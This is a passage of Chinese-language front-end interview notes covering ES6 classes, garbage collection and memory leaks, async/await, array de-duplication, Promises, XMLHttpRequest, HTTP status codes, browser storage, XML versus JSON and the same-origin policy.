<p>class &#x7684;&#x5199;&#x6CD5;&#x53EA;&#x662F;&#x8BED;&#x6CD5;&#x7CD6;&#xFF0C;&#x548C;&#x4E4B;&#x524D; prototype &#x5DEE;&#x4E0D;&#x591A;&#xFF0C;&#x4F46;&#x8FD8;&#x662F;&#x6709;&#x7EC6;&#x5FAE;&#x5DEE;&#x522B;&#x7684;&#xFF0C;&#x4E0B;&#x9762;&#x770B;&#x770B;&#xFF1A;</p>
<h5 id="1-%E4%B8%A5%E6%A0%BC%E6%A8%A1%E5%BC%8F">1. &#x4E25;&#x683C;&#x6A21;&#x5F0F;</h5>
<p>&#x7C7B;&#x548C;&#x6A21;&#x5757;&#x7684;&#x5185;&#x90E8;&#xFF0C;&#x9ED8;&#x8BA4;&#x5C31;&#x662F;&#x4E25;&#x683C;&#x6A21;&#x5F0F;&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x9700;&#x8981;&#x4F7F;&#x7528;<code>use strict</code>&#x6307;&#x5B9A;&#x8FD0;&#x884C;&#x6A21;&#x5F0F;&#x3002;&#x53EA;&#x8981;&#x4F60;&#x7684;&#x4EE3;&#x7801;&#x5199;&#x5728;&#x7C7B;&#x6216;&#x6A21;&#x5757;&#x4E4B;&#x4E2D;&#xFF0C;&#x5C31;&#x53EA;&#x6709;&#x4E25;&#x683C;&#x6A21;&#x5F0F;&#x53EF;&#x7528;&#x3002;&#x8003;&#x8651;&#x5230;&#x672A;&#x6765;&#x6240;&#x6709;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x5176;&#x5B9E;&#x90FD;&#x662F;&#x8FD0;&#x884C;&#x5728;&#x6A21;&#x5757;&#x4E4B;&#x4E2D;&#xFF0C;&#x6240;&#x4EE5; ES6 &#x5B9E;&#x9645;&#x4E0A;&#x628A;&#x6574;&#x4E2A;&#x8BED;&#x8A00;&#x5347;&#x7EA7;&#x5230;&#x4E86;&#x4E25;&#x683C;&#x6A21;&#x5F0F;&#x3002;</p>
<h5 id="2-%E4%B8%8D%E5%AD%98%E5%9C%A8%E6%8F%90%E5%8D%87">2. &#x4E0D;&#x5B58;&#x5728;&#x63D0;&#x5347;</h5>
<p>&#x7C7B;&#x4E0D;&#x5B58;&#x5728;&#x53D8;&#x91CF;&#x63D0;&#x5347;&#xFF08;hoist&#xFF09;&#xFF0C;&#x8FD9;&#x4E00;&#x70B9;&#x4E0E; ES5 &#x5B8C;&#x5168;&#x4E0D;&#x540C;&#x3002;</p>
<pre><code class="language-javascript">new Foo(); // ReferenceError
class Foo {}
</code></pre>
<h5 id="3-%E6%96%B9%E6%B3%95%E9%BB%98%E8%AE%A4%E6%98%AF%E4%B8%8D%E5%8F%AF%E6%9E%9A%E4%B8%BE%E7%9A%84">3. &#x65B9;&#x6CD5;&#x9ED8;&#x8BA4;&#x662F;&#x4E0D;&#x53EF;&#x679A;&#x4E3E;&#x7684;</h5>
<p>ES6 &#x4E2D;&#x7684; class&#xFF0C;&#x5B83;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x5305;&#x62EC;&#x9759;&#x6001;&#x65B9;&#x6CD5;&#x548C;&#x5B9E;&#x4F8B;&#x65B9;&#x6CD5;&#xFF09;&#x9ED8;&#x8BA4;&#x662F;&#x4E0D;&#x53EF;&#x679A;&#x4E3E;&#x7684;&#xFF0C;&#x800C;&#x6784;&#x9020;&#x51FD;&#x6570;&#x9ED8;&#x8BA4;&#x662F;&#x53EF;&#x679A;&#x4E3E;&#x7684;&#x3002;&#x7EC6;&#x60F3;&#x4E00;&#x4E0B;&#xFF0C;&#x8FD9;&#x5176;&#x5B9E;&#x662F;&#x4E2A;&#x4F18;&#x5316;&#xFF0C;&#x8BA9;&#x4F60;&#x5728;&#x904D;&#x5386;&#x65F6;&#x5019;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x518D;&#x5224;&#x65AD; hasOwnProperty &#x4E86;</p>
<h5 id="4-class-%E7%9A%84%E6%89%80%E6%9C%89%E6%96%B9%E6%B3%95%EF%BC%88%E5%8C%85%E6%8B%AC%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%E5%92%8C%E5%AE%9E%E4%BE%8B%E6%96%B9%E6%B3%95%EF%BC%89%E9%83%BD%E6%B2%A1%E6%9C%89%E5%8E%9F%E5%9E%8B%E5%AF%B9%E8%B1%A1-prototype%EF%BC%8C%E6%89%80%E4%BB%A5%E4%B9%9F%E6%B2%A1%E6%9C%89construct%EF%BC%8C%E4%B8%8D%E8%83%BD%E4%BD%BF%E7%94%A8-new-%E6%9D%A5%E8%B0%83%E7%94%A8%E3%80%82">4. class &#x7684;&#x6240;&#x6709;&#x65B9;&#x6CD5;&#xFF08;&#x5305;&#x62EC;&#x9759;&#x6001;&#x65B9;&#x6CD5;&#x548C;&#x5B9E;&#x4F8B;&#x65B9;&#x6CD5;&#xFF09;&#x90FD;&#x6CA1;&#x6709;&#x539F;&#x578B;&#x5BF9;&#x8C61; prototype&#xFF0C;&#x6240;&#x4EE5;&#x4E5F;&#x6CA1;&#x6709;[[construct]]&#xFF0C;&#x4E0D;&#x80FD;&#x4F7F;&#x7528; new &#x6765;&#x8C03;&#x7528;&#x3002;</h5>
<h5 id="5-class-%E5%BF%85%E9%A1%BB%E4%BD%BF%E7%94%A8-new-%E8%B0%83%E7%94%A8%EF%BC%8C%E5%90%A6%E5%88%99%E4%BC%9A%E6%8A%A5%E9%94%99%E3%80%82%E8%BF%99%E6%98%AF%E5%AE%83%E8%B7%9F%E6%99%AE%E9%80%9A%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E7%9A%84%E4%B8%80%E4%B8%AA%E4%B8%BB%E8%A6%81%E5%8C%BA%E5%88%AB%EF%BC%8C%E5%90%8E%E8%80%85%E4%B8%8D%E7%94%A8-new-%E4%B9%9F%E5%8F%AF%E4%BB%A5%E6%89%A7%E8%A1%8C%E3%80%82">5. class &#x5FC5;&#x987B;&#x4F7F;&#x7528; new &#x8C03;&#x7528;&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x62A5;&#x9519;&#x3002;&#x8FD9;&#x662F;&#x5B83;&#x8DDF;&#x666E;&#x901A;&#x6784;&#x9020;&#x51FD;&#x6570;&#x7684;&#x4E00;&#x4E2A;&#x4E3B;&#x8981;&#x533A;&#x522B;&#xFF0C;&#x540E;&#x8005;&#x4E0D;&#x7528; new &#x4E5F;&#x53EF;&#x4EE5;&#x6267;&#x884C;&#x3002;</h5>
<h5 id="6-es5-%E5%92%8C-es6-%E5%AD%90%E7%B1%BB-this-%E7%94%9F%E6%88%90%E9%A1%BA%E5%BA%8F%E4%B8%8D%E5%90%8C">6. ES5 &#x548C; ES6 &#x5B50;&#x7C7B; this &#x751F;&#x6210;&#x987A;&#x5E8F;&#x4E0D;&#x540C;</h5>
<p>ES5 &#x7684;&#x7EE7;&#x627F;&#x5148;&#x751F;&#x6210;&#x4E86;&#x5B50;&#x7C7B;&#x5B9E;&#x4F8B;&#xFF0C;&#x518D;&#x8C03;&#x7528;&#x7236;&#x7C7B;&#x7684;&#x6784;&#x9020;&#x51FD;&#x6570;&#x4FEE;&#x9970;&#x5B50;&#x7C7B;&#x5B9E;&#x4F8B;&#x3002;ES6 &#x7684;&#x7EE7;&#x627F;&#x5148; &#x751F;&#x6210;&#x7236;&#x7C7B;&#x5B9E;&#x4F8B;&#xFF0C;&#x518D;&#x8C03;&#x7528;&#x5B50;&#x7C7B;&#x7684;&#x6784;&#x9020;&#x51FD;&#x6570;&#x4FEE;&#x9970;&#x7236;&#x7C7B;&#x5B9E;&#x4F8B;&#x3002;&#x8FD9;&#x4E2A;&#x5DEE;&#x522B;&#x4F7F;&#x5F97; ES6 &#x53EF;&#x4EE5;&#x7EE7;&#x627F;&#x5185;&#x7F6E;&#x5BF9;&#x8C61;&#x3002;</p>
<h5 id="7-es6%E5%8F%AF%E4%BB%A5%E7%BB%A7%E6%89%BF%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E8%80%8C%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E4%B8%8D%E8%83%BD">7. ES6&#x53EF;&#x4EE5;&#x7EE7;&#x627F;&#x9759;&#x6001;&#x65B9;&#x6CD5;&#xFF0C;&#x800C;&#x6784;&#x9020;&#x51FD;&#x6570;&#x4E0D;&#x80FD;</h5>
<h2 id="10%E3%80%81javascript-%E7%9A%84%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E8%AE%B2%E4%B8%80%E4%B8%8B">10&#x3001;javascript &#x7684;&#x5783;&#x573E;&#x56DE;&#x6536;&#x673A;&#x5236;&#x8BB2;&#x4E00;&#x4E0B;</h2>
<p>&#x5B9A;&#x4E49;&#xFF1A;&#x6307;&#x4E00;&#x5757;&#x88AB;&#x5206;&#x914D;&#x7684;&#x5185;&#x5B58;&#x65E2;&#x4E0D;&#x80FD;&#x4F7F;&#x7528;&#xFF0C;&#x53C8;&#x4E0D;&#x80FD;&#x56DE;&#x6536;&#xFF0C;&#x76F4;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x8FDB;&#x7A0B;&#x7ED3;&#x675F;&#x3002;</p>
<p>JavaScript &#x5728;&#x521B;&#x5EFA;&#x5BF9;&#x8C61;(&#x5BF9;&#x8C61;&#x3001;&#x5B57;&#x7B26;&#x4E32;&#x7B49;)&#x65F6;&#x4F1A;&#x4E3A;&#x5B83;&#x4EEC;&#x5206;&#x914D;&#x5185;&#x5B58;&#xFF0C;&#x4E0D;&#x518D;&#x4F7F;&#x7528;&#x5BF9;&#x65F6;&#x4F1A;&#x201C;&#x81EA;&#x52A8;&#x201D;&#x91CA;&#x653E;&#x5185;&#x5B58;&#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x79F0;&#x4E3A;&#x5783;&#x573E;&#x6536;&#x96C6;&#x3002;</p>
<p>&#x5185;&#x5B58;&#x751F;&#x547D;&#x5468;&#x671F;&#x4E2D;&#x7684;&#x6BCF;&#x4E00;&#x4E2A;&#x9636;&#x6BB5;:</p>
<p>&#x5206;&#x914D;&#x5185;&#x5B58; &#x2014;&#x200A; &#x5185;&#x5B58;&#x662F;&#x7531;&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x5206;&#x914D;&#x7684;&#xFF0C;&#x5B83;&#x5141;&#x8BB8;&#x60A8;&#x7684;&#x7A0B;&#x5E8F;&#x4F7F;&#x7528;&#x5B83;&#x3002;&#x5728;&#x4F4E;&#x7EA7;&#x8BED;&#x8A00;(&#x4F8B;&#x5982; C &#x8BED;&#x8A00;)&#x4E2D;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x5904;&#x7406;&#x7684;&#x663E;&#x5F0F;&#x6267;&#x884C;&#x7684;&#x64CD;&#x4F5C;&#x3002;&#x7136;&#x800C;&#xFF0C;&#x5728;&#x9AD8;&#x7EA7;&#x8BED;&#x8A00;&#x4E2D;&#xFF0C;&#x7CFB;&#x7EDF;&#x4F1A;&#x81EA;&#x52A8;&#x4E3A;&#x4F60;&#x5206;&#x914D;&#x5185;&#x5728;&#x3002;<br>
&#x4F7F;&#x7528;&#x5185;&#x5B58; &#x2014; &#x8FD9;&#x662F;&#x7A0B;&#x5E8F;&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x4E4B;&#x524D;&#x5206;&#x914D;&#x7684;&#x5185;&#x5B58;&#xFF0C;&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#x4F7F;&#x7528;&#x5206;&#x914D;&#x7684;&#x53D8;&#x91CF;&#x65F6;&#xFF0C;&#x5C31;&#x4F1A;&#x53D1;&#x751F;&#x8BFB;&#x548C;&#x5199;&#x64CD;&#x4F5C;&#x3002;<br>
&#x91CA;&#x653E;&#x5185;&#x5B58; &#x2014; &#x91CA;&#x653E;&#x6240;&#x6709;&#x4E0D;&#x518D;&#x4F7F;&#x7528;&#x7684;&#x5185;&#x5B58;,&#x4F7F;&#x4E4B;&#x6210;&#x4E3A;&#x81EA;&#x7531;&#x5185;&#x5B58;,&#x5E76;&#x53EF;&#x4EE5;&#x88AB;&#x91CD;&#x5229;&#x7528;&#x3002;&#x4E0E;&#x5206;&#x914D;&#x5185;&#x5B58;&#x64CD;&#x4F5C;&#x4E00;&#x6837;,&#x8FD9;&#x4E00;&#x64CD;&#x4F5C;&#x5728;&#x4F4E;&#x7EA7;&#x8BED;&#x8A00;&#x4E2D;&#x4E5F;&#x662F;&#x9700;&#x8981;&#x663E;&#x5F0F;&#x5730;&#x6267;&#x884C;&#x3002;</p>
<h5 id="%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F%EF%BC%9A%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%EF%BC%8C%E6%9C%AA%E6%B8%85%E9%99%A4%E7%9A%84%E5%AE%9A%E6%97%B6%E5%99%A8%EF%BC%8C%E9%97%AD%E5%8C%85%EF%BC%8C%E4%BB%A5%E5%8F%8A-dom-%E7%9A%84%E5%BC%95%E7%94%A8">&#x56DB;&#x79CD;&#x5E38;&#x89C1;&#x7684;&#x5185;&#x5B58;&#x6CC4;&#x6F0F;&#xFF1A;&#x5168;&#x5C40;&#x53D8;&#x91CF;&#xFF0C;&#x672A;&#x6E05;&#x9664;&#x7684;&#x5B9A;&#x65F6;&#x5668;&#xFF0C;&#x95ED;&#x5305;&#xFF0C;&#x4EE5;&#x53CA; dom &#x7684;&#x5F15;&#x7528;</h5>
<ol>
<li>&#x5168;&#x5C40;&#x53D8;&#x91CF; &#x4E0D;&#x7528; var &#x58F0;&#x660E;&#x7684;&#x53D8;&#x91CF;&#xFF0C;&#x76F8;&#x5F53;&#x4E8E;&#x6302;&#x8F7D;&#x5230; window &#x5BF9;&#x8C61;&#x4E0A;&#x3002;&#x5982;&#xFF1A;b=1; &#x89E3;&#x51B3;&#xFF1A;&#x4F7F;&#x7528;&#x4E25;&#x683C;&#x6A21;&#x5F0F;</li>
<li>&#x88AB;&#x9057;&#x5FD8;&#x7684;&#x5B9A;&#x65F6;&#x5668;&#x548C;&#x56DE;&#x8C03;&#x51FD;&#x6570;</li>
<li>&#x95ED;&#x5305;</li>
<li>&#x6CA1;&#x6709;&#x6E05;&#x7406;&#x7684; DOM &#x5143;&#x7D20;&#x5F15;&#x7528;</li>
</ol>
<h2 id="11%E3%80%81async-%E5%92%8C-await">11&#x3001;async &#x548C; await</h2>
<p>&#x4E3B;&#x8981;&#x8003;&#x5BDF;&#x5B8F;&#x4EFB;&#x52A1;&#x548C;&#x5FAE;&#x4EFB;&#x52A1;&#xFF0C;&#x642D;&#x914D;promise&#xFF0C;&#x8BE2;&#x95EE;&#x4E00;&#x4E9B;&#x8F93;&#x51FA;&#x7684;&#x987A;&#x5E8F;</p>
<p>&#x539F;&#x7406;&#xFF1A;<strong>async &#x548C; await &#x7528;&#x4E86;&#x540C;&#x6B65;&#x7684;&#x65B9;&#x5F0F;&#x53BB;&#x505A;&#x5F02;&#x6B65;&#xFF0C;async &#x5B9A;&#x4E49;&#x7684;&#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x90FD;&#x662F; promise&#xFF0C;await &#x540E;&#x9762;&#x7684;&#x51FD;&#x6570;&#x4F1A;&#x5148;&#x6267;&#x884C;&#x4E00;&#x904D;&#xFF0C;&#x7136;&#x540E;&#x5C31;&#x4F1A;&#x8DF3;&#x51FA;&#x6574;&#x4E2A; async &#x51FD;&#x6570;&#x6765;&#x6267;&#x884C;&#x540E;&#x9762;js&#x6808;&#x7684;&#x4EE3;&#x7801;</strong></p>
<h2 id="12%E3%80%81%E6%95%B0%E7%BB%84%E5%8E%BB%E9%87%8D%E7%9A%84%E6%96%B9%E6%B3%95">12&#x3001;&#x6570;&#x7EC4;&#x53BB;&#x91CD;&#x7684;&#x65B9;&#x6CD5;</h2>
<h5 id="1es6-%E7%9A%84-set">1.ES6 &#x7684; Set</h5>
<pre><code class="language-javascript">&#x590D;&#x5236;let arr = [1,1,2,3,4,5,5,6]
let arr2 = [...new Set(arr)]
</code></pre>
<h5 id="2reduce">2.reduce()</h5>
<pre><code class="language-javascript">&#x590D;&#x5236;let arr = [1,1,2,3,4,5,5,6]
let arr2 = arr.reduce(function(ar,cur) {
  if(!ar.includes(cur)) {
    ar.push(cur)
  }

  return ar
},[])
</code></pre>
<h5 id="3filter">3.filter()</h5>
<pre><code class="language-javascript">&#x590D;&#x5236;// &#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x4F1A;&#x6709;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;[1,&apos;1&apos;]&#x4F1A;&#x88AB;&#x5F53;&#x505A;&#x76F8;&#x540C;&#x5143;&#x7D20;&#xFF0C;&#x6700;&#x7EC8;&#x8F93;&#x5165;[1]
let arr = [1,1,2,3,4,5,5,6]
let arr2 = arr.filter(function(item,index) {
  // indexOf() &#x65B9;&#x6CD5;&#x53EF;&#x8FD4;&#x56DE;&#x67D0;&#x4E2A;&#x6307;&#x5B9A;&#x7684; &#x5B57;&#x7B26;&#x4E32;&#x503C; &#x5728;&#x5B57;&#x7B26;&#x4E32;&#x4E2D;&#x9996;&#x6B21;&#x51FA;&#x73B0;&#x7684;&#x4F4D;&#x7F6E;
  return arr.indexOf(item) === index
})
</code></pre>
<h2 id="13%E3%80%81%E8%AF%B4%E8%AF%B4%E4%BD%A0%E5%AF%B9promise%E7%9A%84%E7%90%86%E8%A7%A3">13&#x3001;&#x8BF4;&#x8BF4;&#x4F60;&#x5BF9;Promise&#x7684;&#x7406;&#x89E3;</h2>
<p>&#x6240;&#x8C13;Promise&#xFF0C;&#x7B80;&#x5355;&#x8BF4;&#x5C31;&#x662F;&#x4E00;&#x4E2A;&#x5BB9;&#x5668;&#xFF0C;&#x91CC;&#x9762;&#x4FDD;&#x5B58;&#x7740;&#x67D0;&#x4E2A;&#x672A;&#x6765;&#x624D;&#x4F1A;&#x7ED3;&#x675F;&#x7684;&#x4E8B;&#x4EF6;&#xFF08;&#x901A;&#x5E38;&#x662F;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#xFF09;&#x7684;&#x7ED3;&#x679C;&#x3002;&#x4ECE;&#x8BED;&#x6CD5;&#x4E0A;&#x8BF4;&#xFF0C;Promise &#x662F;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x4ECE;&#x5B83;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x7684;&#x6D88;&#x606F;&#x3002;Promise &#x63D0;&#x4F9B;&#x7EDF;&#x4E00;&#x7684; API&#xFF0C;&#x5404;&#x79CD;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x90FD;&#x53EF;&#x4EE5;&#x7528;&#x540C;&#x6837;&#x7684;&#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x5904;&#x7406;&#x3002;</p>
<p>Promise&#x5BF9;&#x8C61;&#x6709;&#x4EE5;&#x4E0B;&#x4E24;&#x4E2A;&#x7279;&#x70B9;:</p>
<ul>
<li>&#x5BF9;&#x8C61;&#x7684;&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x754C;&#x5F71;&#x54CD;&#xFF0C;Promise&#x5BF9;&#x8C61;&#x4EE3;&#x8868;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#xFF0C;&#x6709;&#x4E09;&#x79CD;&#x72B6;&#x6001;&#xFF1A;Pending&#xFF08;&#x8FDB;&#x884C;&#x4E2D;&#xFF09;&#x3001;Resolved&#xFF08;&#x5DF2;&#x5B8C;&#x6210;&#xFF0C;&#x53C8;&#x79F0;Fulfilled&#xFF09;&#x548C;Rejected&#xFF08;&#x5DF2;&#x5931;&#x8D25;&#xFF09;</li>
<li>&#x4E00;&#x65E6;&#x72B6;&#x6001;&#x6539;&#x53D8;&#xFF0C;&#x5C31;&#x4E0D;&#x4F1A;&#x518D;&#x53D8;&#xFF0C;&#x4EFB;&#x4F55;&#x65F6;&#x5019;&#x90FD;&#x53EF;&#x4EE5;&#x5F97;&#x5230;&#x8FD9;&#x4E2A;&#x7ED3;&#x679C;&#x3002;</li>
</ul>
<h2 id="14%E3%80%81%E8%AF%B7%E4%BB%8B%E7%BB%8D%E4%B8%80%E4%B8%8Bxmlhttprequest%E5%AF%B9%E8%B1%A1">14&#x3001;&#x8BF7;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B;XMLhttprequest&#x5BF9;&#x8C61;</h2>
<p>Ajax&#x7684;&#x6838;&#x5FC3;&#x662F;JavaScript&#x5BF9;&#x8C61;XmlHttpRequest&#x3002;&#x8BE5;&#x5BF9;&#x8C61;&#x5728;Internet Explorer 5&#x4E2D;&#x9996;&#x6B21;&#x5F15;&#x5165;&#xFF0C;&#x5B83;&#x662F;&#x4E00;&#x79CD;&#x652F;&#x6301;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x7684;&#x6280;&#x672F;&#x3002;&#x7B80;&#x800C;&#x8A00;&#x4E4B;&#xFF0C;XmlHttpRequest&#x4F7F;&#x60A8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;JavaScript&#x5411;&#x670D;&#x52A1;&#x5668;&#x63D0;&#x51FA;&#x8BF7;&#x6C42;&#x5E76;&#x5904;&#x7406;&#x54CD;&#x5E94;&#xFF0C;&#x800C;&#x4E0D;&#x963B;&#x585E;&#x7528;&#x6237;&#x3002;&#x901A;&#x8FC7;XMLHttpRequest&#x5BF9;&#x8C61;&#xFF0C;Web&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#x53EF;&#x4EE5;&#x5728;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x4EE5;&#x540E;&#x8FDB;&#x884C;&#x9875;&#x9762;&#x7684;&#x5C40;&#x90E8;&#x66F4;&#x65B0;&#x3002;</p>
<h2 id="15%E3%80%81http%E7%8A%B6%E6%80%81%E7%A0%81%E5%8F%8A%E5%85%B6%E5%90%AB%E4%B9%89">15&#x3001;HTTP&#x72B6;&#x6001;&#x7801;&#x53CA;&#x5176;&#x542B;&#x4E49;</h2>
<p><code>1XX</code>&#xFF1A;&#x4FE1;&#x606F;&#x72B6;&#x6001;&#x7801;</p>
<p><code>2XX</code>&#xFF1A;&#x6210;&#x529F;&#x72B6;&#x6001;&#x7801;</p>
<p><code>3XX</code>&#xFF1A;&#x91CD;&#x5B9A;&#x5411;</p>
<p><code>4XX</code>&#xFF1A;&#x5BA2;&#x6237;&#x7AEF;&#x9519;&#x8BEF;</p>
<p><code>5XX:</code> &#x670D;&#x52A1;&#x5668;&#x9519;&#x8BEF;</p>
<h2 id="16%E3%80%81%E8%AF%B7%E6%8F%8F%E8%BF%B0%E4%B8%80%E4%B8%8B-cookies%EF%BC%8Csessionstorage-%E5%92%8C-localstorage-%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9F">16&#x3001;&#x8BF7;&#x63CF;&#x8FF0;&#x4E00;&#x4E0B; <code>cookies</code>&#xFF0C;<code>sessionStorage</code> &#x548C; <code>localStorage</code> &#x7684;&#x533A;&#x522B;&#xFF1F;</h2>
<p><code>cookie</code>&#x662F;&#x7F51;&#x7AD9;&#x4E3A;&#x4E86;&#x6807;&#x793A;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x800C;&#x50A8;&#x5B58;&#x5728;&#x7528;&#x6237;&#x672C;&#x5730;&#x7EC8;&#x7AEF;&#xFF08;Client Side&#xFF09;&#x4E0A;&#x7684;&#x6570;&#x636E;&#xFF08;&#x901A;&#x5E38;&#x7ECF;&#x8FC7;&#x52A0;&#x5BC6;&#xFF09;</p>
<p>cookie&#x6570;&#x636E;&#x59CB;&#x7EC8;&#x5728;&#x540C;&#x6E90;&#x7684;http&#x8BF7;&#x6C42;&#x4E2D;&#x643A;&#x5E26;&#xFF08;&#x5373;&#x4F7F;&#x4E0D;&#x9700;&#x8981;&#xFF09;&#xFF0C;&#x8BB0;&#x4F1A;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x548C;&#x670D;&#x52A1;&#x5668;&#x95F4;&#x6765;&#x56DE;&#x4F20;&#x9012;</p>
<p><code>sessionStorage</code>&#x548C;<code>localStorage</code>&#x4E0D;&#x4F1A;&#x81EA;&#x52A8;&#x628A;&#x6570;&#x636E;&#x53D1;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x4EC5;&#x5728;&#x672C;&#x5730;&#x4FDD;&#x5B58;</p>
<p>&#x5B58;&#x50A8;&#x5927;&#x5C0F;&#xFF1A;</p>
<ul>
<li><code>cookie</code>&#x6570;&#x636E;&#x5927;&#x5C0F;&#x4E0D;&#x80FD;&#x8D85;&#x8FC7;4k</li>
<li><code>sessionStorage</code>&#x548C;<code>localStorage</code>&#x867D;&#x7136;&#x4E5F;&#x6709;&#x5B58;&#x50A8;&#x5927;&#x5C0F;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x4F46;&#x6BD4;<code>cookie</code>&#x5927;&#x5F97;&#x591A;&#xFF0C;&#x53EF;&#x4EE5;&#x8FBE;&#x5230;5M&#x6216;&#x66F4;&#x5927;</li>
</ul>
<p>&#x6709;&#x671F;&#x65F6;&#x95F4;&#xFF1A;</p>
<ul>
<li><code>localStorage</code> &#x5B58;&#x50A8;&#x6301;&#x4E45;&#x6570;&#x636E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5173;&#x95ED;&#x540E;&#x6570;&#x636E;&#x4E0D;&#x4E22;&#x5931;&#x9664;&#x975E;&#x4E3B;&#x52A8;&#x5220;&#x9664;&#x6570;&#x636E;</li>
<li><code>sessionStorage</code>  &#x6570;&#x636E;&#x5728;&#x5F53;&#x524D;&#x6D4F;&#x89C8;&#x5668;&#x7A97;&#x53E3;&#x5173;&#x95ED;&#x540E;&#x81EA;&#x52A8;&#x5220;&#x9664;</li>
<li><code>cookie</code>  &#x8BBE;&#x7F6E;&#x7684;<code>cookie</code>&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#x4E4B;&#x524D;&#x4E00;&#x76F4;&#x6709;&#x6548;&#xFF0C;&#x5373;&#x4F7F;&#x7A97;&#x53E3;&#x6216;&#x6D4F;&#x89C8;&#x5668;&#x5173;&#x95ED;</li>
</ul>
<h2 id="17%E3%80%81xml%E5%92%8Cjson%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9F">17&#x3001;XML&#x548C;JSON&#x7684;&#x533A;&#x522B;&#xFF1F;</h2>
<p>&#x6570;&#x636E;&#x4F53;&#x79EF;&#x65B9;&#x9762;</p>
<ul>
<li><code>JSON</code>&#x76F8;&#x5BF9;<code>&#x4E8E;XML</code>&#x6765;&#x8BB2;&#xFF0C;&#x6570;&#x636E;&#x7684;&#x4F53;&#x79EF;&#x5C0F;&#xFF0C;&#x4F20;&#x9012;&#x7684;&#x901F;&#x5EA6;&#x66F4;&#x5FEB;&#x4E9B;&#x3002;<br>
&#x6570;&#x636E;&#x4EA4;&#x4E92;&#x65B9;&#x9762;</li>
<li><code>JSON</code>&#x4E0E;<code>JavaScript</code>&#x7684;&#x4EA4;&#x4E92;&#x66F4;&#x52A0;&#x65B9;&#x4FBF;&#xFF0C;&#x66F4;&#x5BB9;&#x6613;&#x89E3;&#x6790;&#x5904;&#x7406;&#xFF0C;&#x66F4;&#x597D;&#x7684;&#x6570;&#x636E;&#x4EA4;&#x4E92;<br>
&#x6570;&#x636E;&#x63CF;&#x8FF0;&#x65B9;&#x9762;</li>
<li><code>JSON</code>&#x5BF9;&#x6570;&#x636E;&#x7684;&#x63CF;&#x8FF0;&#x6027;&#x6BD4;<code>XML</code>&#x8F83;&#x5DEE;<br>
&#x4F20;&#x8F93;&#x901F;&#x5EA6;&#x65B9;&#x9762;</li>
<li><code>JSON</code>&#x7684;&#x901F;&#x5EA6;&#x8981;&#x8FDC;&#x8FDC;&#x5FEB;&#x4E8E;<code>XML</code></li>
</ul>
<h2 id="18%E3%80%81%E7%AE%80%E8%BF%B0%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E4%B8%8E%E8%B7%A8%E5%9F%9F">18&#x3001;&#x7B80;&#x8FF0;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x4E0E;&#x8DE8;&#x57DF;</h2>
<p>&#x540C;&#x6E90;&#x7B56;&#x7565;&#x662F;&#x4E00;&#x79CD;&#x7EA6;&#x5B9A;&#xFF0C;&#x5B83;&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x6700;&#x6838;&#x5FC3;&#x7684;&#x4E5F;&#x6700;&#x57FA;&#x672C;&#x7684;&#x5B89;&#x5168;&#x529F;&#x80FD;&#xFF0C;&#x5982;&#x679C;&#x7F3A;&#x5C11;&#x4E86;&#x540C;&#x6E90;&#x7B56;&#x7565;&#xFF0C;&#x5219;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x6B63;&#x5E38;&#x529F;&#x80FD;&#x53EF;&#x80FD;&#x4F1A;&#x53D7;&#x5230;&#x5F71;&#x54CD;&#x3002;<br>
&#x5F53;&#x534F;&#x8BAE;&#xFF0C;&#x4E3B;&#x673A;&#xFF0C;&#x548C;&#x7AEF;&#x53E3;&#x53F7;&#x6709;&#x4E00;&#x4E2A;&#x4E0D;&#x540C;&#x65F6;&#xFF0C;&#x5C31;&#x662F;&#x8DE8;&#x57DF;&#x3002;</p>
